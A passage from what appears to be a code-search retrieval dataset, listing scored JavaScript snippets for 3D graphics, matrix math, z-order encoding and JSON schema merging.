0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "0b7e787d26c4e13b1cd2dacf274a2750", "score": "0.5132477", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "0b7e787d26c4e13b1cd2dacf274a2750", "score": "0.5132477", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "0b7e787d26c4e13b1cd2dacf274a2750", "score": "0.5132477", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "0b7e787d26c4e13b1cd2dacf274a2750", "score": "0.5132477", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "d749804c29976222855414306c67f496", "score": "0.5128188", "text": "convertToWireframe() {\n let result = new PolygonMesh();\n let i;\n result.setVertexData(this.vertexData);\n let newIndices = [];\n switch (this.faceType) {\n case FaceType.Triangle:\n for (i = 0; i < this.indices.length; i += 3) {\n newIndices.push(this.indices[i]);\n newIndices.push(this.indices[i + 1]);\n newIndices.push(this.indices[i + 1]);\n newIndices.push(this.indices[i + 2]);\n newIndices.push(this.indices[i + 2]);\n newIndices.push(this.indices[i]);\n }\n break;\n case FaceType.TriangleFan:\n for (i = 1; i < this.indices.length - 1; i += 1) {\n newIndices.push(this.indices[0]);\n newIndices.push(this.indices[i]);\n newIndices.push(this.indices[i]);\n newIndices.push(this.indices[i + 1]);\n newIndices.push(this.indices[0]);\n newIndices.push(this.indices[i + 1]);\n }\n break;\n case FaceType.TriangleStrip:\n for (i = 0; i < this.indices.length - 2; i++) {\n newIndices.push(this.indices[i]);\n newIndices.push(this.indices[i + 1]);\n newIndices.push(this.indices[i + 1]);\n newIndices.push(this.indices[i + 2]);\n newIndices.push(this.indices[i + 2]);\n newIndices.push(this.indices[i]);\n }\n break;\n }\n result.setPrimitives(newIndices, FaceType.Lines);\n return result;\n }", "title": "" }, { "docid": "65beefaa4d560c8bcbe5ec6bbbf607e2", "score": "0.51243913", "text": "updateViewMatrix() {\n if(this.mode === Camera.MODE_FREE){\n this.transform.matView.reset()\n .vtranslate(this.transform.position)\n .rotateX(this.transform.rotation.x * Transform.deg2Rad)\n .rotateY(this.transform.rotation.y * Transform.deg2Rad)\n } else {\n // Notice the different order of operations\n this.transform.matView.reset()\n .rotateX(this.transform.rotation.x * Transform.deg2Rad)\n .rotateY(this.transform.rotation.y * Transform.deg2Rad)\n .vtranslate(this.transform.position)\n }\n\n this.transform.updateDirection(); // Need to know the direction for panning\n\n // Cameras work by doing the inverse transformation of all meshes!\n Matrix4.invert(this.viewMatrix, this.transform.getViewMatrix())\n\n return this.viewMatrix\n }", "title": "" }, { "docid": "cbc6543b0525cbf28c949a55fcec4b6c", "score": "0.51185715", "text": "setIdentity() {\r\n this.col1.x = 1.0;\r\n this.col2.x = 0.0;\r\n this.col1.y = 0.0;\r\n this.col2.y = 1.0;\r\n }", "title": "" }, { "docid": "25a8086a9333e25fad90e79053511c24", "score": "0.5116514", "text": "function setMatrixTransform(){\n if(x <= y+0.2){ // scale up\n if(y < x){\n y = 1.21;\n }\n x += 0.01;\n mat4.fromScaling(mvMatrix, [1, x, 1]); \n space += 0.1;\n }\n else{ // scale down\n if(y < -1.2){\n y = 1.21;\n }\n y = y-0.01;\n mat4.fromScaling(mvMatrix, [1, y, 1]);\n //count += 1;\n space += 0.1;\n }\n mat4.rotate(mvMatrix, mvMatrix, space * 3.1415926 / 180, [0.6, 0.7, 0.6]); //rotate after scaling\n}", "title": "" }, { "docid": "154c1033b97daca81ae2bb6a3e81f142", "score": "0.5115767", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = (x - minX) * invSize | 0;\n y = (y - minY) * invSize | 0;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "ccb9f0e399ab0a7878abeb2ad24d17e3", "score": "0.51121175", "text": "flip() {\n return new hamonengine.math.vector2(this.x, -this.y);\n }", "title": "" }, { "docid": "2959b876a797dd2c0972c8dc4d1f665b", "score": "0.51097864", "text": "function f_wingFront(){\n var baseModelView = modelview;\n\n applyTexture(textWingFront);\n\n\n normalMatrix = extractNormalMatrix(modelview); // always extract the normal matrix before scaling\n modelview = mult(modelview, scale4(0.4 , 0.2, 0.25));\n triangleRectangle.render();\n\n\n modelview = baseModelView;\n}", "title": "" }, { "docid": "7799c2e72ab85a170667170b199ce34b", "score": "0.5108827", "text": "mapTriangle(ctx, p0, p1, p2, p_0, p_1, p_2) {\n // break out the individual triangles x's & y's\n var x0 = p_0.x,\n y0 = p_0.y;\n var x1 = p_1.x,\n y1 = p_1.y;\n var x2 = p_2.x,\n y2 = p_2.y;\n var u0 = p0.x,\n v0 = p0.y;\n var u1 = p1.x,\n v1 = p1.y;\n var u2 = p2.x,\n v2 = p2.y;\n\n // save the unclipped & untransformed destination canvas\n ctx.save();\n\n // clip the destination canvas to the unwarped destination triangle\n ctx.beginPath();\n ctx.moveTo(x0, y0);\n ctx.lineTo(x1, y1);\n ctx.lineTo(x2, y2);\n ctx.closePath();\n ctx.clip();\n\n // Compute matrix transform\n var delta = u0 * v1 + v0 * u2 + u1 * v2 - v1 * u2 - v0 * u1 - u0 * v2;\n var delta_a = x0 * v1 + v0 * x2 + x1 * v2 - v1 * x2 - v0 * x1 - x0 * v2;\n var delta_b = u0 * x1 + x0 * u2 + u1 * x2 - x1 * u2 - x0 * u1 - u0 * x2;\n var delta_c =\n u0 * v1 * x2 +\n v0 * x1 * u2 +\n x0 * u1 * v2 -\n x0 * v1 * u2 -\n v0 * u1 * x2 -\n u0 * x1 * v2;\n var delta_d = y0 * v1 + v0 * y2 + y1 * v2 - v1 * y2 - v0 * y1 - y0 * v2;\n var delta_e = u0 * y1 + y0 * u2 + u1 * y2 - y1 * u2 - y0 * u1 - u0 * y2;\n var delta_f =\n u0 * v1 * y2 +\n v0 * y1 * u2 +\n y0 * u1 * v2 -\n y0 * v1 * u2 -\n v0 * u1 * y2 -\n u0 * y1 * v2;\n\n // Draw the transformed image\n ctx.transform(\n delta_a / delta,\n delta_d / delta,\n delta_b / delta,\n delta_e / delta,\n delta_c / delta,\n delta_f / delta,\n );\n\n // draw the transformed source image to the destination canvas\n ctx.drawImage(this.img, 0, 0);\n\n // restore the context to it's unclipped untransformed state\n ctx.restore();\n }", "title": "" }, { "docid": "2856f9c3493c45f2b740a1155673068c", "score": "0.51026535", "text": "function matrix_invert(M){\n // I use Guassian Elimination to calculate the inverse:\n // (1) 'augment' the matrix (left) by the identity (on the right)\n // (2) Turn the matrix on the left into the identity by elemetry row ops\n // (3) The matrix on the right is the inverse (was the identity matrix)\n // There are 3 elemtary row ops: (I combine b and c in my code)\n // (a) Swap 2 rows\n // (b) Multiply a row by a scalar\n // (c) Add 2 rows\n \n //if the matrix isn't square: exit (error)\n if(M.length !== M[0].length){return;}\n \n //create the identity matrix (I), and a copy (C) of the original\n var i=0, ii=0, j=0, dim=M.length, e=0, t=0;\n var I = [], C = [];\n for(i=0; i<dim; i+=1){\n // Create the row\n I[I.length]=[];\n C[C.length]=[];\n for(j=0; j<dim; j+=1){\n \n //if we're on the diagonal, put a 1 (for identity)\n if(i==j){ I[i][j] = 1; }\n else{ I[i][j] = 0; }\n \n // Also, make the copy of the original\n C[i][j] = M[i][j];\n }\n }\n \n // Perform elementary row operations\n for(i=0; i<dim; i+=1){\n // get the element e on the diagonal\n e = C[i][i];\n \n // if we have a 0 on the diagonal (we'll need to swap with a lower row)\n if(e==0){\n //look through every row below the i'th row\n for(ii=i+1; ii<dim; ii+=1){\n //if the ii'th row has a non-0 in the i'th col\n if(C[ii][i] != 0){\n //it would make the diagonal have a non-0 so swap it\n for(j=0; j<dim; j++){\n e = C[i][j]; //temp store i'th row\n C[i][j] = C[ii][j];//replace i'th row by ii'th\n C[ii][j] = e; //repace ii'th by temp\n e = I[i][j]; //temp store i'th row\n I[i][j] = I[ii][j];//replace i'th row by ii'th\n I[ii][j] = e; //repace ii'th by temp\n }\n //don't bother checking other rows since we've swapped\n break;\n }\n }\n //get the new diagonal\n e = C[i][i];\n //if it's still 0, not invertable (error)\n if(e==0){return}\n }\n \n // Scale this row down by e (so we have a 1 on the diagonal)\n for(j=0; j<dim; j++){\n C[i][j] = C[i][j]/e; //apply to original matrix\n I[i][j] = I[i][j]/e; //apply to identity\n }\n \n // Subtract this row (scaled appropriately for each row) from ALL of\n // the other rows so that there will be 0's in this column in the\n // rows above and below this one\n for(ii=0; ii<dim; ii++){\n // Only apply to other rows (we want a 1 on the diagonal)\n if(ii==i){continue;}\n \n // We want to change this element to 0\n e = C[ii][i];\n \n // Subtract (the row above(or below) scaled by e) from (the\n // current row) but start at the i'th column and assume all the\n // stuff left of diagonal is 0 (which it should be if we made this\n // algorithm correctly)\n for(j=0; j<dim; j++){\n C[ii][j] -= e*C[i][j]; //apply to original matrix\n I[ii][j] -= e*I[i][j]; //apply to identity\n }\n }\n }\n \n //we've done all operations, C should be the identity\n //matrix I should be the inverse:\n return I;\n}", "title": "" }, { "docid": "a2c0b1edf2aff3e8ba6274bbe392e6e9", "score": "0.5098336", "text": "function projectMesh(){\n\tfor(var m=0; m < mesh.length; m++){\n\t\tvar poly = mesh[m];\n\t\tfor(var p=0; p < poly.length; p++){\n\t\t\tvar scale = fov/(fov+poly[p].z);\n\t\t\tpoly[p].x = clip(poly[p].x, canvas.width) * scale + canvas.width/2;\n\t\t\tpoly[p].y = clip(poly[p].y, canvas.height) * scale + canvas.height/3;\n\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "fe1b34cab1cbf9dbfabffeff54c06bab", "score": "0.50967085", "text": "function init() {\n // Set the clear color to fully transparent black\n gl.clearColor(1.0, 1.0, 1.0, 1.0);\n \n // Create the two buffer objects\n vbo = gl.createBuffer();\n indices = gl.createBuffer();\n mvmat = mat4.create();\n \n // Cull the back face ( determined by counter clockwise winding )\n gl.enable( gl.CULL_FACE );\n gl.frontFace( gl.CCW );\n gl.cullFace( gl.BACK );\n \n // Bind the vertex buffer object\n gl.bindBuffer(gl.ARRAY_BUFFER, vbo);\n gl.depthRange( 10.0, 10.0 );\n \n // Put 24 vertices of a cube in the VBO\n var vertices = new Float32Array([ -0.5, -0.5, 0.5, 1.0, 0.55, 0.0, \n 0.5, -0.5, 0.5, 1.0, 0.55, 0.0, \n -0.5, 0.5, 0.5, 1.0, 0.55, 0.0,\n 0.5, 0.5, 0.5, 1.0, 0.55, 0.0,\n \n 0.5, -0.5, -0.5, 0.2, 0.1, 0.7, \n 0.5, -0.5, 0.5, 0.2, 0.1, 0.7,\n 0.5, 0.5, -0.5, 0.2, 0.1, 0.7,\n 0.5, 0.5, 0.5, 0.2, 0.1, 0.7,\n \n 0.5, -0.5, -0.5, 0.1, 0.8, 0.0, \n -0.5, -0.5, -0.5, 0.1, 0.8, 0.0,\n 0.5, 0.5, -0.5, 0.1, 0.8, 0.0,\n -0.5, 0.5, -0.5, 0.1, 0.8, 0.0,\n \n -0.5, -0.5, 0.5, 1.0, 0.0, 0.0,\n -0.5, -0.5, -0.5, 1.0, 0.0, 0.0,\n -0.5, 0.5, 0.5, 1.0, 0.0, 0.0,\n -0.5, 0.5, -0.5, 1.0, 0.0, 0.0,\n \n -0.5, -0.5, 0.5, 0.0, 7.0, 8.0,\n -0.5, -0.5, -0.5, 0.0, 7.0, 8.0,\n 0.5, -0.5, 0.5, 0.0, 7.0, 8.0,\n 0.5, -0.5, -0.5, 0.0, 7.0, 8.0,\n \n 0.5, 0.5, 0.5, 0.7, 0.0, 0.7,\n -0.5, 0.5, 0.5, 0.7, 0.0, 0.7,\n 0.5, 0.5, -0.5, 0.7, 0.0, 0.7,\n -0.5, 0.5, -0.5, 0.7, 0.0, 0.7\n ]);\n gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW);\n \n // Bind and set the data of the lineIndices buffer\n gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indices);\n gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array([ 0, 1, 2, 3, 3, 3, 4,\n 4, 5, 6, 7, 7, 7, 8,\n 8, 9,10,11,11,11,12,\n 12,13,14,15,15,15,16,\n 16,17,18,19,19,19,20,\n 20,21,22,23]), gl.STATIC_DRAW);\n \n \n // Initialize the shaders\n initShaders();\n}", "title": "" }, { "docid": "0967095609d7ddcfd0987bda92e92abf", "score": "0.50883055", "text": "function mapTriangle(ctx, p0, p1, p2, p_0, p_1, p_2) {\n\n\n // break out the individual triangles x's & y's\n var x0=p_0.x, y0=p_0.y;\n var x1=p_1.x, y1=p_1.y;\n var x2=p_2.x, y2=p_2.y;\n var u0=p0.x, v0=p0.y;\n var u1=p1.x, v1=p1.y;\n var u2=p2.x, v2=p2.y;\n \n // save the unclipped & untransformed destination canvas\n ctx.save();\n \n // clip the destination canvas to the unwarped destination triangle\n ctx.beginPath();\n ctx.moveTo(x0, y0);\n ctx.lineTo(x1, y1);\n ctx.lineTo(x2, y2);\n ctx.closePath();\n ctx.clip();\n \n // Compute matrix transform\n var delta = u0 * v1 + v0 * u2 + u1 * v2 - v1 * u2 - v0 * u1 - u0 * v2;\n var delta_a = x0 * v1 + v0 * x2 + x1 * v2 - v1 * x2 - v0 * x1 - x0 * v2;\n var delta_b = u0 * x1 + x0 * u2 + u1 * x2 - x1 * u2 - x0 * u1 - u0 * x2;\n var delta_c = u0 * v1 * x2 + v0 * x1 * u2 + x0 * u1 * v2 - x0 * v1 * u2 - v0 * u1 * x2 - u0 * x1 * v2;\n var delta_d = y0 * v1 + v0 * y2 + y1 * v2 - v1 * y2 - v0 * y1 - y0 * v2;\n var delta_e = u0 * y1 + y0 * u2 + u1 * y2 - y1 * u2 - y0 * u1 - u0 * y2;\n var delta_f = u0 * v1 * y2 + v0 * y1 * u2 + y0 * u1 * v2 - y0 * v1 * u2 - v0 * u1 * y2 - u0 * y1 * v2;\n \n // Draw the transformed image\n ctx.transform(\n delta_a / delta, delta_d / delta,\n delta_b / delta, delta_e / delta,\n delta_c / delta, delta_f / delta\n );\n \n // draw the transformed source image to the destination canvas\n ctx.drawImage(texture.image,0,0);\n \n // restore the context to it's unclipped untransformed state\n ctx.restore();\n}", "title": "" }, { "docid": "91f620f1029e4c60a8a0b6f22390b6d0", "score": "0.5084049", "text": "leftRotate(node) {\r\n let tmp = node.right;\r\n node.right = tmp.left;\r\n tmp.left = node;\r\n tmp.color = node.color;\r\n node.color = RED;\r\n return tmp;\r\n }", "title": "" }, { "docid": "5bd5832242312900db14974fc3223999", "score": "0.5083672", "text": "function flipVecToPaperFrame(vec){\n //vec.x = vec.x;\n // var temp = vec.z;\n // vec.z = vec.y;\n // vec.y = -1.0 * temp;\n \n return new Vec3(vec.x, -1.0 * vec.z, vec.y);\n}", "title": "" }, { "docid": "eafae818f6d6e696059e24994ccc04a8", "score": "0.5081122", "text": "function setGeometry(gl) {\n var positions = new Float32Array(\n [\n -0.5, -0.5, -0.5,\n -0.5, 0.5, -0.5,\n 0.5, -0.5, -0.5,\n -0.5, 0.5, -0.5,\n 0.5, 0.5, -0.5,\n 0.5, -0.5, -0.5,\n\n -0.5, -0.5, 0.5,\n 0.5, -0.5, 0.5,\n -0.5, 0.5, 0.5,\n -0.5, 0.5, 0.5,\n 0.5, -0.5, 0.5,\n 0.5, 0.5, 0.5,\n\n -0.5, 0.5, -0.5,\n -0.5, 0.5, 0.5,\n 0.5, 0.5, -0.5,\n -0.5, 0.5, 0.5,\n 0.5, 0.5, 0.5,\n 0.5, 0.5, -0.5,\n\n -0.5, -0.5, -0.5,\n 0.5, -0.5, -0.5,\n -0.5, -0.5, 0.5,\n -0.5, -0.5, 0.5,\n 0.5, -0.5, -0.5,\n 0.5, -0.5, 0.5,\n\n -0.5, -0.5, -0.5,\n -0.5, -0.5, 0.5,\n -0.5, 0.5, -0.5,\n -0.5, -0.5, 0.5,\n -0.5, 0.5, 0.5,\n -0.5, 0.5, -0.5,\n\n 0.5, -0.5, -0.5,\n 0.5, 0.5, -0.5,\n 0.5, -0.5, 0.5,\n 0.5, -0.5, 0.5,\n 0.5, 0.5, -0.5,\n 0.5, 0.5, 0.5,\n\n ]);\n gl.bufferData(gl.ARRAY_BUFFER, positions, gl.STATIC_DRAW);\n}", "title": "" }, { "docid": "23b00d18bf2ab53bb412a2351f1c45ca", "score": "0.5080296", "text": "function render() {\n\tgl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\n\tvar fieldOfView = 100;\n\tvar aspect = canvas.width / canvas.height;\n\tpMatrix = mat4.perspective(45, gl.viewportWidth / gl.viewportHeight, 0.1,\n\t\t\t100.0);\n\tmat4.identity(mvMatrix);\n\n\t/*\n\t * mat4.translate(mvMatrix,mvMatrix, [dx, dy, dz]);\n\t * mat4.translate(mvMatrix,mvMatrix, [sx, sy, sz]);\n\t * mat4.rotate(mvMatrix,mvMatrix, rz, [0, 0, 1]);\n\t */\n\n\tvar T = [ 1, 0, 0, dx, 0, 1, 0, dy, 0, 0, 1, dz, 0, 0, 0, 1 ];\n\tvar S = [ sx, 0, 0, 0, 0, sy, 0, 0, 0, 0, sz, 0, 0, 0, 0, 1 ];\n\tvar Rx = [ 1, 0, 0, 0, 0, Math.cos(rx), -Math.sin(rx), 0, 0, Math.sin(rx),\n\t\t\tMath.cos(rx), 0, 0, 0, 0, 1 ];\n\tvar Ry = [ Math.cos(ry), 0, Math.sin(ry), 0, 0, 1, 0, 0, -Math.sin(ry), 0,\n\t\t\tMath.cos(ry), 0, 0, 0, 0, 1 ];\n\tvar Rz = [ Math.cos(rz), -Math.sin(rz), 0, 0, Math.sin(rz), Math.cos(rz),\n\t\t\t0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ];\n\n\tvar eye = [ 0, 10, 30 ];\n\tvar target = [ 0, 5, 0 ];\n\tvar up = [ 0, 1, 0 ];\n\tmvMatrix = mat4.lookAt(eye, target, up);\n\n\tvar normalMatrix = mat3.create(); mat4.toInverseMat3(mvMatrix,normalMatrix);\n\t mat3.transpose(normalMatrix);\n\t gl.uniformMatrix3fv(shaderProgram.uNMatrix, false, normalMatrix);\n\t var adjustedLD = vec3.create(); vec3.normalize([ 0.0, 15.0, -30.0 ],adjustedLD); vec3.scale(adjustedLD, -1);\n\tgl.uniform3fv(shaderProgram.uLightingDirection, adjustedLD);\n\t var adjustedC = vec3.create(); vec3.normalize([ 0, 10, 30 ],adjustedC); vec3.scale(adjustedC, -1);\n\tgl.uniform3fv(shaderProgram.u_cameraPosition, adjustedC);\n\n\tgl.uniform3fv(shaderProgram.u_matDiffuseReflectances, mtl[0][2]);\n\tgl.uniform1f(shaderProgram.u_matShininess, mtl[0][1][0]);\n\t// mat4.multiply(T, uTMatrix, uTMatrix);\n\n\t// vec3.set (translation, [dx, dy, dz]);\n\t// console.log(translation);\n\t// mat4.translate (mvMatrix, mvMatrix, translation);\n\tmat4.multiply(T, mvMatrix, mvMatrix);\n\tmat4.multiply(S, mvMatrix, mvMatrix);\n\tmat4.multiply(Rz, mvMatrix, mvMatrix);\n\n\tgl.bindBuffer(gl.ARRAY_BUFFER, buffer);\n\tgl.vertexAttribPointer(shaderProgram.vertexPositionAttribute,\n\t\t\tbuffer.itemSize, gl.FLOAT, false, 0, 0);\n\n\tgl.bindBuffer(gl.ARRAY_BUFFER, buffer_vt);\n\tgl.vertexAttribPointer(shaderProgram.texcoordLocation, buffer_vt.itemSize,\n\t\t\tgl.FLOAT, false, 0, 0);\n\n\tgl.bindBuffer(gl.ARRAY_BUFFER, buffer_vn);\n\tgl.vertexAttribPointer(shaderProgram.a_normalLoc, buffer_vn.itemSize,\n\t\t\tgl.FLOAT, false, 0, 0);\n\n\tgl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffer_v);\n\n\tgl.uniform1i(shaderProgram.u_texture, 0);\n\tgl.activeTexture(gl.TEXTURE0);\n\tgl.bindTexture(gl.TEXTURE_2D, texture);\n\n\tsetMatrixUniforms();\n\n\tgl.drawElements(gl.TRIANGLES, i_x, gl.UNSIGNED_SHORT, 0);\n\t// gl.drawArrays(gl.TRIANGLES, 0, tri_nos*3);\n}", "title": "" }, { "docid": "7eee9120695d59aed0c89d00f3867840", "score": "0.50758874", "text": "leftSide() {\n this.anchor = - Math.abs(this.anchor);\n this.moveToAnchor();\n }", "title": "" }, { "docid": "088d3bb09d49278b3a583eb3a251757e", "score": "0.5061697", "text": "set flippedHorizontally(a) {\n if (this._at == a) {\n return;\n }\n this._dg();\n let b = WorksheetShape._a[2].g(WorksheetShape.$, Boolean_$type, this, this._at, a);\n this._at = b.p1;\n }", "title": "" }, { "docid": "b252137528b91c9887fc97d3906aa846", "score": "0.5057988", "text": "function visualRotateFrontFace(isClockwise) {\n visualRotateFace(\"F\", \"Z\", isClockwise);\n\n visualRotateRow(\"U\", \"B\", \"Z\", isClockwise);\n visualRotateRow(\"D\", \"T\", \"Z\", isClockwise);\n visualRotateCol(\"L\", \"R\", \"Z\", isClockwise);\n visualRotateCol(\"R\", \"L\", \"Z\", isClockwise);\n}", "title": "" }, { "docid": "4cd2f9b5889ce8e89e54cd578099456b", "score": "0.5054077", "text": "edges(){\n if(this.x + this.r >= width || this.x - this.r <= 0){\n this.x = 0;\n }\n if(this.y + this.r >= height || this.y - this.r <= 0){\n this.y = 0;\n }\n }", "title": "" } ]
a55cd3a6aed8078c9d5c044b4ab36ae2
Merges two schemas/instances together.
[ { "docid": "431517a2b76e3655c9c8ccba68118108", "score": "0.0", "text": "function inherits(base, extra, extension) {\n\t\tvar baseType = typeOf(base),\n\t\t\textraType = typeOf(extra),\n\t\t\tchild, x;\n\t\t\n\t\tif (extraType === \"undefined\") {\n\t\t\treturn clone(base, true);\n\t\t} else if (baseType === \"undefined\" || extraType !== baseType) {\n\t\t\treturn clone(extra, true);\n\t\t} else if (extraType === \"object\") {\n\t\t\tif (base instanceof JSONSchema) {\n\t\t\t\tbase = base.getAttributes();\n\t\t\t}\n\t\t\tif (extra instanceof JSONSchema) {\n\t\t\t\textra = extra.getAttributes();\n\t\t\t\tif (extra[\"extends\"] && extension && extra[\"extends\"] instanceof JSONSchema) {\n\t\t\t\t\textra[\"extends\"] = [ extra[\"extends\"] ];\n\t\t\t\t}\n\t\t\t}\n\t\t\tchild = clone(base, true); //this could be optimized as some properties get overwritten\n\t\t\tfor (x in extra) {\n\t\t\t\tif (extra[x] !== O[x]) {\n\t\t\t\t\tchild[x] = inherits(base[x], extra[x], extension);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn child;\n\t\t} else {\n\t\t\treturn clone(extra, true);\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "7aa510681f674fba8725c38c15a0f509", "score": "0.65103585", "text": "function union (schema, instance) {\n var type = primitiveType(instance);\n if (type == 'undefined') {\n // TODO: handle this case. What should I do with an array of values like\n // `['laugh', 100, undefined]`? change all of the schemas to optional?\n // schemas.forEach(schema => schema.optional = true);\n return schema;\n }\n else if (type == 'object') {\n // TODO: clone the schema instead of mutating it\n var objectSchema = schema;\n if (!typeMatches(type, objectSchema.type)) {\n // the schema does not currently handle objects, so we need to add the type\n objectSchema.type = addType(type, objectSchema.type);\n // and the appropriate field\n objectSchema.properties = {};\n }\n // now we can merge the object's fields\n for (var key in instance) {\n // should we do a `hasOwnProperty` check?\n objectSchema.properties[key] = union(objectSchema.properties[key] || {}, instance[key]);\n }\n return objectSchema;\n }\n else if (type == 'array') {\n // TODO: support tuple-type arrays?\n // TODO: clone the existing schema\n var arraySchema_1 = schema;\n if (!typeMatches(type, arraySchema_1.type)) {\n // the schema does not currently handle arrays, so we need to add the type\n arraySchema_1.type = addType(type, arraySchema_1.type);\n // and the appropriate field\n arraySchema_1.items = {};\n }\n // now we can merge the array's schema\n instance.forEach(function (item) {\n arraySchema_1.items = union(arraySchema_1.items, item);\n });\n return arraySchema_1;\n }\n else {\n if (!typeMatches(type, schema.type)) {\n schema.type = addType(type, schema.type);\n }\n // only the nested types, object and array, require merging. otherwise, nothing needs to be done.\n return schema;\n }\n}", "title": "" }, { "docid": "9c9e09c9b82c5ceb16ad1596ca115252", "score": "0.5906787", "text": "function mergeSchemas(config) {\n const typeDefs = mergeTypes(config);\n const extractedResolvers = [];\n const extractedExtensions = [];\n for (const schema of config.schemas) {\n extractedResolvers.push(utils.getResolversFromSchema(schema));\n extractedExtensions.push(extractExtensionsFromSchema(schema));\n }\n extractedResolvers.push(...ensureResolvers(config));\n const resolvers = mergeResolvers(extractedResolvers, config);\n const extensions = mergeExtensions(extractedExtensions);\n return makeSchema({ resolvers, typeDefs, extensions }, config);\n}", "title": "" }, { "docid": "25de7b279f851e21ffc32bc9953bc399", "score": "0.5782577", "text": "function merge (schema, doc, self) {\n var keys = Object.keys(doc);\n\n for (var i = 0; i < keys.length; ++i) {\n var key = keys[i];\n var type;\n\n // if nothing in schema yet, just assign\n if ('undefined' == typeof schema[key]) {\n var type = self.getType(doc, key);\n if (undefined !== type) {\n schema[key] = type;\n }\n continue;\n }\n\n // exists in schema and incoming is an object?\n if (isObject(doc[key])) {\n if (isObject(schema[key])) {\n merge(schema[key], doc[key], self);\n\n } else {\n type = self.getType(doc, key);\n if (undefined !== type) {\n if ('null' == schema[key]) {\n schema[key] = type;\n } else if (type != schema[key]) {\n schema[key] = 'Mixed';\n }\n }\n }\n } else {\n // exists in schema and incoming is not an object.\n var type = self.getType(doc, key);\n if (undefined === type) {\n continue;\n }\n\n if ('null' == schema[key]) {\n schema[key] = type;\n\n } else if ('null' == type) {\n // ignore\n\n } else if (Array.isArray(schema[key]) && Array.isArray(type)) {\n\n if (0 === schema[key].length) {\n schema[key] = type;\n\n } else if (schema[key][0] instanceof Schema && isObject(type[0])) {\n // merge schemas\n schema[key][0].combine(type[0]);\n\n } else if (!equalType(schema[key], type)) {\n schema[key] = ['Mixed'];\n }\n\n } else 